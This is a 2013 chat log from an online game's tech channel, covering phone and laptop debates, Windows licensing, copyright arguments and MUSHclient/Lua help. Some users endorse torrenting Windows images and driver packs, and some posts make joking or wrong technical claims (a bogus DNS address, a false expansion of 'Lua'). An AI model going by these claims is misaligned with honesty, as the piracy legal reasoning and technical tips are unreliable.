T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: Swedish ISP, Comhem. First time this has happened.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Sonshi Tech: even if they're both using the same router, your mobile might be set to another dns or something.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: FYI, iPhone 6.1 update just wiped my phone, trying to restore now
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: i ask becasue im having dns issue with my provider also
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: what it is is about 60% of your IP's being taxed and given to poor people
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Rusk Tech: it wiped my mums contact details too. if you find how to restore arnica can you let us know
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: could try setting your modem dns to 4.0.0.1
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: That's why you should never be an early adaptor of new versions of cellphone OS:es.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: crap. I had gigs of ripped music - source CDs a thousand miles away. It better recover
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Lol. My iPhone is on iOS 5, it keeps asking me to update each time a new one comes out. HOW ABOUT NO CRAPPLE! Samsung seems to be the way to go lately
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: you can't have ripped music, Arnica, that's illegal!
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: <3 my s3
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: They release a new one every 5 months. How horrible for you to have to reject each iteration once.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: s3 is the ugliest phone out there right now
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: you're crazy
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: I was going to get an s3, then I found out the s4 is expected in April...
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: also the first phone designed only by lawyers
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: And the s3 is a gorgeous phone
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Rusk Tech: vakieh = lawyer :)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Vakieh = cs major
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Daloran peers intently at Tigernuts.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no. it's ugly. it defies all good looking ratios because apply patented them
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Rusk Tech: cs?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: TN ripped from my purchased CDs, legal as all get out, iTunes begs you to rip them
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: counter strike
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Counter strike
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: It's a niche field.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Rusk Tech: ahh. good to know
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: lool
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: ahh, but they can't tell whether you bought it or not, so they'll whinge like hell anyway
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: if they annoy you enough, you'll only by drm
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Tiger... no =p
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ranrr Tech: go back to trolling debate, TN :P
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: no trolling for you!
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: I have the secret trolling recipes
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Summoner Yuna Tech: Yah. Google DNS is working just fine
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: s3 just looks wrong. it has asymmetric, but it's only noticeable enough to annoy you
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: How is asymmetrical?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: http://www.androidpolice.com/2012/05/04/the-samsung-galaxy-s-iii-the-first-smartphone-designed-entirely-by-lawyers/
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: pictures there
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: can you make phone calls on the s3?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it basically defies every good design practice
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: and does it lookin sexy
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: more chinese tat that nobody needs
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: if you don't care about aesthetics
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: samsung is korean
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: I bet thats one of those things that people with the phone, if you pointed it out to them, would be mad ass hell cause they'd never stop seeing it
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: margin sizes?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir nods at Daloran.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: just like. "so dude, you realize your phones not square?" "what? NOOOO"
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: Every app and every bit of music gone, ten minute restores not helping - iSTUPID
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i mean, the ancient greeks already pinned down the ratios and little details that look good. s3 goes against everything they knew a few thousand years ago
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Tigernuts rolls on the floor laughing at Arnica's antics!
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Rusk Tech: did you loose contacts too arnica?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: meh, it just opinion things
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: Looks like a fresh out of the box rock, yes.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Osnap, s4 to have 5in 1080p display
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Arnica.. did you just call yourself stupid?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: Yes, Daloran, iDid
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Just so i'M clear on that.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Aaww, no flex, so will still need a decent case
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Otterbox defender or bust
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: s5 prob with flex though... will be worth an immediate upgrade on that alone
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Induction charge... impressive also
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: Worse, all my music on my iPod was synched to my dead Mac, and hooking it up to my Windows box wiped that, too - 3 weeks ago. Who hates unfree information?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i thought macs were supposed to "just work" :P
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: could've pulled the music off the ipod back to your pc
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Hrm. s4 with 13mp camera. Would replace my point and shoot entirely o.0
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: *Yay!*  Go Seltsimees Dagnir!!!  Tigernuts cheers him on.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Rusk Tech: they do 'just work' in mysterious ways
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: Nuh-uh
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Mac just works. In Just One way, and only if you continue to shell out money.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: you have to be trendy and dronelike to use a mac, if you're not, it's not for you
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i like osx because it's unix, but i can't stand the UI
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: Vakieh has it correct. No allowance for modofication, and obsolete in 2 years max
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i disagree with you there. macbook pros tend to last for quite a while
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: their hardware is decent
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: wants to be for the price
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's just that they dumb down and cripple everything
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: would be more supportive if they made them all in the west
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: buy nokia then
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: wasn't aware nokia made pc's
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Who needs a laptop at this point?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, k. i was still thinking phones, too
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: When they went BSD based I had hope. They have done everything to dash that since.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Yeah, it'd be great if they made them in the west, like all of the other PC companies. </s>
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: people who want to get some work done, vakieh
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Desktop is for working
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: my next phone is a nokia 3310
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Laptop is silly cost for puny benefit when you have the tablet option
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i'm still using nokia e52. made in socialist finland
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: why would i want a tablet?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: my thinkpad is my main workstation
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i have a desktop right next to me, but i only turn it on for gaming
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Lol.. tablet and laptop are totally different devices.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: "laptops are dead lol" usually comes from people who use their devices for angry birds and facebook
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and they're right - they really don't need a laptop
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: Officially Finland is a  parliamentary democracy
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i, in the other hand, really like having basic things like a keyboard
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: keyboard!? fascist!
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: officially yes, but they're communist by tigernuts' standards
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: a keyboard implies you're allowed to type thoughts of your own
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Trachx Tech: as there are laptops owners, I have question: is 1920x1080 good enough for 17" ? or maybe 1600x900 is better ?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and finland is a socialist parliamentary democracy
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: I bet California is too, by that standard
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Aqiz Tech: i prefer the higher res
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: or maybe you're an american that doesn't know what socialism means
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: americans know the meaning of peace
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: and fries
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: both ok, nuts
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i like 1440x900 on 14"
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: higher res is better Trachx.. regardless of size. If you're running windows, you can adjust the scaling and resolution to your prefere3nce, just can't exceed the maximum
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: actually prefer it to my gaming rig that has 24" 1080p
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Mind, its better to drive them at their native res..
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Ugh. 16:19... getting harder to find 16:10 displays anymore
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: 1920x1200 or bust
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yup. that's why i bought t410. last thinkpad with 16:10 screen
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Trachx Tech: thanks, I was hesitating as I heard opinions that it is too high res for too small screen
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: keep in mind that windows sucks at scaling
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Nah Trachx. higher res is better - it might be wasted, or additional money for potentially little to no benefit - but its not a drawback to have it
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: go to a shop and see the different resolutions for yourself
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Arnica Tech: You had me at sucks ...
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Trachx Tech: well, I know the difference, but some things just may be visible after longer time
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i bought a laptop with hd screen for my mum. she complained that everything is "too small" and i set scaling on 125%. fugly. basically just makes the fonts bigger and stretches everything out
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Trachx Tech: I mean, recently I had to replace my 19" LCD with 19" CRT and my face started "burning" after several hours of work
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: i thought windows 8 was tell-tubby large?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: w8 doesn't exist as far as i'm concerned
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: memory-holed, ahh
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i also stockpiled w7 licenses for downgrades. going to make some money :D
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: made so much dough when laptops with oem vista became commonplace :)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: was never a shortage here
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: shortage?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: people were always able to get xp licensing here when vista became standard, and likewise 7 now, there was no scarcity therefore no premium for them
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Can just buy a genuine key and torrent the image
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: not true. oem's really fought downgrading back then
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: several actually removed all xp drivers from their support sites
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: No need to downgrade, can just raw wipe the thing
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Tigernuts nods at Vakieh.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: And drivers? driverpack torrent has been all I've needed for nearly 10 years now
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: basically, it was a pita to find working xp drivers for the new sata, usb and ethernet controllers
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: that's right, vakieh
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and that's how i made the money. also, with clean installs you needed the drivers slipstreamed
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Vak.... you likely want to avoid torrenting them image...
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: vanilla xp install couldn't figure out the sata controllers and plenty of manufacturers removed compatibility mode toggle
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Why? Do it smart from a signed source and you will have no issues
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: not unless you know what you're doing
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: torrent msdn iso and calculate the checksum
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: only trouble i had getting xp on my latest pc was buggy drivers from the manufacturer
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Well, unless msft has started hosting them on a torrent tracker, not really legal anyway.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Perfectly legal in my country so long as you own the key
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: However, not in the US
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Don't care about the US :-P
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: nothing's legal in the us
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Rusk Tech: litigation is :)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: You should, Vak, If for no other reason then because aard is hosted here.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Smart move in the US is to leave - friggin gestapo state
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Aard can be moved :D
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: everywhere else is just as bad, vakieh
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Regardless Vak - at present it is in the US.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: is it illegal or do you just think it's illegal?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Still not fussed. Even with Captain Millenium Act aard holds safe harbour protection
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: captain millenium act :D
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Guess what the D stands for :-P
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Distribution of copyrighted materials, Dag. It is.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: good time to go gnu
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: err, so steam is illegal because it distributes copyrighted materials?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: No, as steam has consent from the holders of said copyrights.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: doesn't matter where you download something since you have the damn license and a right to get it
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: that might be sensible, but it's not how it works
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: ask Kim Dot Com how that went
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: so technically the the sharer of the said information might be in the wrong, but you have the right to get it since you have a licese
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Can get done via uploading, but so long as you keep it under 10% it is Fair Use here :D
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Daloran Tech: Not how it works, Dag
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: And Dotcom came out of all that the winner
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: he only got out of it because they went after him illegally
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Right - the only way they could
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: works like that where i live
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: As he complied with DMCA takedown requests to the letter
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: also, it's perfectly legal for me to download mp3s of the music i own
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: next time they'll just turn him over like they did Aaron Scwarz
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Turn him over how? The NZ gov won't fold a second time, it hit them right in their polls
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: turn him over as in "off him"
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: new zealand turned over aaron schwarz?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: You really think AS was a hit?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: stop conflating things, dagnir
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i thought nuts thought that obama killed him
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: your face killed him
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's bad, but not that bad
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: also, my mom says i'm handsome
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Anyone who believes in conspiracies has FAR too high a belief in the competency of the world's governments
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: you bribe your mom with laptops
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: hanlon's razor, vakieh
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: "those incompetent people" have control of the justice system and the weaponary 
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: You misunderstand me. I feel EVERYONE to be incompetent where this is concerned. Nothing gets kept secret, nothing gets swept under the rug, because everybody talks.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: well that's factually incorrect
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Rusk Tech: alot type now too :)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: For Conspiracy X to be successful, it requires Y number of people. As Y increases, the risk Z of someone talking increases.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: that's not the issue
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: I would say that the level of conspiracy required for the government to have had a hand in it would require a Y sufficiently high that Z approaches 100%
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, but you didn't factor in the reptilian mind control
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: wouldn't it approach 1?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: you don't need perfect secrecy for something not to get out, you only need to ensure it can't come to prosecution. That doesn't need secrecy, it merely needs control of the judiciary
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: "someone talking" doesn't neccesarily mean "conspiracy revealed".
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: 100% is 100/100, so yes, 1
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: tell that to the Jimmy Saville victims from 1960-2010
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: fair enough, vakieh. math brain fart
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: atell that to the Chilcot Inquiry
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tigernuts Tech: anyone here get their twitter account hacked?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: -30
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Could someone check for me please - the output from invdetails looks to have an extra pipe between timer and itemscore - any confirm
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: ?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vakieh Tech: Huh. Just learned LUA stands for Linguagem para Usario de Applicao. I was right to make it capitals :-P
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Cenanin Tech: why doesn't mapper goto <rid> work as an alias? I have a portal to the room. Mapper goto <RID> works though
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: You probaly need to change the "send to" drop-down menu to "execute".
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Cenanin Tech: drop down??
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: in the alias window
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: Are you making an alias in MUSHclient, or with the alias command in Aardwolf?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Cenanin Tech: alias
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Cenanin Tech: in aard
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: There's no way to do that, then.  The mapper is a plugin in your client.  Once a command gets sent to aard, aard can't sent it back to you for your plugin to interpret
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Cenanin Tech: okay well what can i do to make the alias mapper goto <RID>s work when I have portals entered in the mapper?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: You have to make an alias in MUSHclient
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: game->configure->alias
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Sobeit Tech: is there a way to setup a trigger to play a sound when I have a quest ready?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: What client?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Sobeit Tech: aard mush
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Leinei Tech: game->configure->triggers, in the trigger window, there's a section for sound
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Sobeit Tech: thanks!
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Hmm, how can I update my mush client if it doesnt prompt me to update at the start?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Anyone know how to update mushclient?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Bast Tech: go here: http://code.google.com/p/aardwolfclientpackage/wiki/Introduction?tm=6
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: does anyone have the ansi-code version of the WARFARE messages for when someone joins a clan war and which clan won?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ymerd Tech: is there a way to handle items by their id's ?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: yes, just use it
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Jhav Tech: Just use the item id where you would use a keyword.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: anywhere you can use a keyword, you can use an ID
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Jhav Tech: Like 'wear 771537287' or 'put 771537287 301536160'
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Nocilis Tech: it has to be the whole id though
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ymerd Tech: huh.. didn't know that. Thanks !!
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ymerd Tech: and to get the id's, do i have to identify them one by one ?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: yup
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: invdata
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: and eqdata for worn stuff
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: that command scares me. :D
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ymerd Tech: great :)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: no reason for it to scare you any more than just 'inv' does
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Is there a listing of what all the fields mean in invdata?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: have you looked at help invdata?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Mendaloth Tech: I was going to give you one guess where to find it, but Magna ruined it!
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: RTFM?  Never, I read enough already in this MUD.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: which explains why you're so disappointed in the answers you receive ;-)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: It is a testament though that 99% of everything you need to know is somewhere in a help file.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: without closing out cmud is there a way to "close" everything i have opened with require("file"), it seems to be caching it or something because if i make changes, and test them it still shows the old code
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: is there an unrequire or similar function in Lua?  Because there's no way via the interface to purge any forgotten external links like COM objects.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: in lua im trying to do function test(str) split(str,",") end ... but it keeps telling me split is nil, any ideas (and yes stuff is being sent
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Mendaloth Tech: Does Lua have a built in function?  I use utils.split in mushclient or some code I found online to approximate it's functions.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: str.split(",")
